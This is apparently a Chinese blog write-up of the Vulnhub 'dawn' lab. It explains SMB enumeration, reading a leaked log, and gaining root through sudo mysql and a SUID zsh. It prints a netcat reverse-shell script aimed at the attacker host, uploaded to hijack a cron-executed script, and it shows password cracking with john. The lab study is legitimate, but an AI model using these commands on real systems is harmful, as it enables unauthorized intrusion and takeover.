Vulnhub打靶记录:dawn
相关信息
kali:10.0.0.9/24
靶机:10.0.0.10/24
靶机下载:https://download.vulnhub.com/sunset/dawn.zip
目标:root权限 + 1个flag
难度:中
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路:
- 主机发现 端口扫描
- 信息收集:对于
smb协议的了解 - SAMBA漏洞
- 任意文件上传:一般来说没有什么大的漏洞,除非可以和日志包含等漏洞结合。
- 日志信息泄露:这两个步骤是关键对日志文件的解读非常关键
- 调度任务
- 提权方法1 提权方法2 潜在提权方法
下意识的操作
139端口和445端口一般是相关开放的,而且一般这两个端口都是或多或少具有漏洞的,所以在公网上并不常见。
主要的知识点
- 日志的详细阅读
- 特定权限配置的查找
具体流程
信息搜集
-
主机发现,信息收集,版本确认。
139,445一般为伴生端口会配合开放,且为window上常用的协议smb服务。3306为一个MariaDB的MySQL服务。什么是smb协议
通过
nmap脚本获取的信息,可以发现smb是允许guest登陆的,同时还扫描出了靶机的名字和系统时间。
-
由于目标靶机上开放了
smb的端口,通过smbclient -L \\\\10.0.0.10获取靶机可访问的共享文件目录。最好使用\\\\来进行来进行连接,其中有两个\表示转译,密码输入直接回车即可,应为可以使用guest登陆。其中print$,IPC$是打印机和默认的共享服务可以忽略,重点关注ITDEPT。smbclient解释
-
通过
smbclient登陆靶机后,键入help查看可以使用的命令,查看内部命令有哪些。
可以发现
ITDEPT居然是没有任何文件的,同时尝试../来跳出共享目录的操作也无法行得通。
-
通过
help知道支持什么命令,进行简单的文件上载和下载测试是可以成功的进行。可惜的是即使上载的恶意的命令和代码也是无法成功的运行的,就smb而已是无法让恶意文件执行的。
-
访问开放的
80端口服务,也是非常的网页并没有什么搜获,也没有robots.txt文件。所以进行目录爬取就显得非常必要了。
-
dirsearch -u http://10.0.0.10,重点关注得到的logs路径。

-
访问该路径,进行路径内文件的阅读。重点关注
management.log文件
-
文件解读:通过阅读这个日志文件,不难发现靶机会循环定时的执行在
/ITDEPT目录下面的两个shell脚本:web-control,product-control。可以大胆的猜测这个目录和靶机开放的smb是同一个文件路径,唯一比较奇怪的是smb开放的/ITDEPT目录里并没有这两个脚本文件,所以不妨尝试上载恶意的同名的脚本,从而让靶机定期的执行我们上载的同名恶意脚本。
-
通过过滤可以进一步发现靶机系统确实定期得到执行上述的两个脚本。

-
突破边界
-
构造恶意的同名脚本,并进行
put上传等待同名的恶意脚本web-control,product-control,等待脚本被定期执行成功反弹shell。顺便使用python升级一下shell。脚本内容:
上载的命令就是
put,命名为web-control,product-control其中一个即可#!/bin/sh nc -e /bin/bash 10.0.0.9 4444
信息收集
-
dawn主目录下的相关的文件,重点关注.bash_history,.mysql_history这个两个文件。
-
.bash_history文件内容的相关内容:-
使用过
echo命令,应该具有灵敏度发现这是个加密文件。通过kali的shadow的文件格式就可以有所联想,这应该是个加密的密文,而且格式应该为:$加密方式$盐$密文。
-
dawn可以使用sudo,而且开启了mysql服务
-
shadow文件的格式
-
-
将刚刚的密文写入
hash文件中,然后进行john爆破得到密码为:onii-chan29。
提权方式一
-
由于
dawn可以使用sudo,尝试进行sudo -l。不难发现dawn可以不需要输入密码sudo使用mysql的。
-
使用暴力破解获得密码尝试进行
sudo登陆mysql,然后利用mysql执行系统命令来进行提权,可以发现是可以直接提权成功的,来获取flag。
- 虽然可以sudo mysql不需要密码,但是登陆
root的密码还是需要的。 - 复用获得的密码,发现就是
dawn用户的sudo密码。 - 由于是通过
sudo连接的mysql,所以\!执行的命令具有root权限。 - 通过
mysql打开shell发现就是root用户的权限,进而成功的拿下靶机,查看flag。
- 虽然可以sudo mysql不需要密码,但是登陆
提权方法二
-
还是在浏览
dawn的.bash_history是发现,dawn在su为root后又再次退出到低权限的shell,然后使用了zsh这个shell。
-
进行
suid权限配置错误的程序或文件的检索,不难从结果中发现一个非常巧合的或者明显的漏洞:zsh居然是root的suid。
-
所以直接使用
zsh开启一个新的shell,虽然依然显示是个普通用户。但是也不难发现打开的zsh是具有root权限的,可以查看flag。
相关工具/命令
命令
smbclient
-
what? 返回
提供了一个类似于FTP客户端的界面,允许用户在Linux系统上访问和管理远程Windows共享文件夹
-
具体使用
用到的
\都需要使用\进行转译smbclient -L \\\\10.0.0.10:-L:列出目标打开的共享文件有哪些。
smbclient \\\\10.0.0.10\\PATH:连接到靶机的共享文件,类似于ftp的连接。
复盘/相关知识
复盘
潜在提权的可能性
-
当提取为
root用户后,进入到另一个用户的家目录下浏览他的.bash_history文件,不难发现一个具有提示性的命令。很明显如果su为root用户是需要root密码的,通过这个英文的解读,不难发现这个长字符串非常可能就是root的密码。
this is a really secure password noone is going to ever find:这不就是此地无银三百两吗?
-
尝试通过普通用户
su为root用户时输入这个密码,发现果真成功的登陆。表明这个长字符串就是root的密码
-
之所以说是潜在的方法是因为,在突破边界的时候拿到的是
dawn的shell。既然作者给了root密码的获取方法。表明肯定还有其他突破边界的方法,而这种方法拿到到的shell肯定为ganimedes用户的。
重要
smb协议
-
what? 返回
协议是一种在计算机网络上进行文件共享、打印机共享和通信的网络协议。它最初由微软开发,用于在局域网(LAN)中的计算机之间共享文件、打印机和其他资源。
一般运行在
window上,同时运行在139,445端口上。具有明显的漏洞性质,在公网上几乎不开放,多在内网渗透中遇见。 -
渗透思路
- 由于
smb是window的原生协议,具有较强的封闭性。linux在实现该协议的时候更多的是参照window的思想进行实现,导致这个命令在linux中并不那么完备,存在漏洞的几率较大。
- 由于
了解
unc路径
它是一种用于在计算机网络中标识资源的方法,特别是用于标识共享文件夹或打印机的位置。UNC路径由两个部分组成:计算机的名称(或IP地址)和共享资源的名称。它的格式通常\computername\sharedfolder,其中"computername"是共享资源所在计算机的名称或IP地址,"sharedfolder"是共享资源的名称。

浙公网安备 33010602011771号